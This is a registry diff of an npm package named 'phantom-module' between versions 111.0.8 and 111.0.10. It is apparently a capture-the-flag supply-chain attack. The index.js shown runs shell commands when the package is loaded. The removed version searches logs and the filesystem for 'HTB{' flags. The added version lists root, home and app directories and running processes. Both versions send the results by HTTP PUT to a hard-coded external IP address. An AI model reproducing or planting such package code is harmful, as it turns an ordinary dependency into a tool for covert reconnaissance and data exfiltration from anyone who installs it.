phantom-module 111.0.8 → 111.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +7 -30
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -6,45 +6,22 @@ const { execSync } = require('child_process');
6
6
  let output = "";
7
7
 
8
8
  try {
9
- // 1. Try to read the module log directly, looking for HTB{
10
- let logContent = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
11
- let match = logContent.match(/HTB{[^}]+}/);
12
- if (match) {
13
- output += "FLAG_IN_LOG: " + match[0] + " | ";
14
- } else {
15
- output += "LOG_TAIL: " + execSync('tail -n 10 /home/node/aspect-node/logs/module.log').toString() + " | ";
16
- }
9
+ output += "=== ROOT ===\n" + execSync('ls -la /').toString() + "\n";
10
+ output += "=== HOME ===\n" + execSync('ls -la /home/node').toString() + "\n";
11
+ output += "=== APP ===\n" + execSync('ls -la /app 2>/dev/null || echo "No /app"').toString() + "\n";
12
+ output += "=== PS ===\n" + execSync('ps auxww 2>/dev/null || echo "No ps"').toString() + "\n";
17
13
  } catch(e) {
18
- output += "LOG_ERR: " + e.message + " | ";
14
+ output += "ERR: " + e.message;
19
15
  }
20
-
21
- // 2. Try to find any file with flag in the name and read it
22
- try {
23
- let files = execSync('find / -name "*flag*" -type f 2>/dev/null').toString().trim().split('\n');
24
- for (let f of files) {
25
- if (f) {
26
- try {
27
- let content = fs.readFileSync(f, 'utf8').trim();
28
- if (content.includes('HTB{')) {
29
- output += `FOUND_IN_FILE ${f}: ` + content + " | ";
30
- }
31
- } catch(e) {}
32
- }
33
- }
34
- } catch (e) {}
35
16
 
36
- if (!output) {
37
- output = "Could not find HTB{...}.";
38
- }
39
-
40
17
  const postData = JSON.stringify({
41
- manifest: `ecto_module:\n name: "FLAG_FROM_REQUIRE"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
18
+ manifest: `ecto_module:\n name: "RECON_1"\n cargo_hold: ${JSON.stringify(output.substring(0, 3000))}\n`
42
19
  });
43
20
 
44
21
  const req = http.request({
45
22
  hostname: '154.57.164.64',
46
23
  port: 31205,
47
- path: '/api/modules/ECT-654321',
24
+ path: '/api/modules/ECT-839201',
48
25
  method: 'PUT',
49
26
  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
50
27
  });
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.8",
3
+ "version": "111.0.10",
4
4
  "main": "index.js"
5
5
  }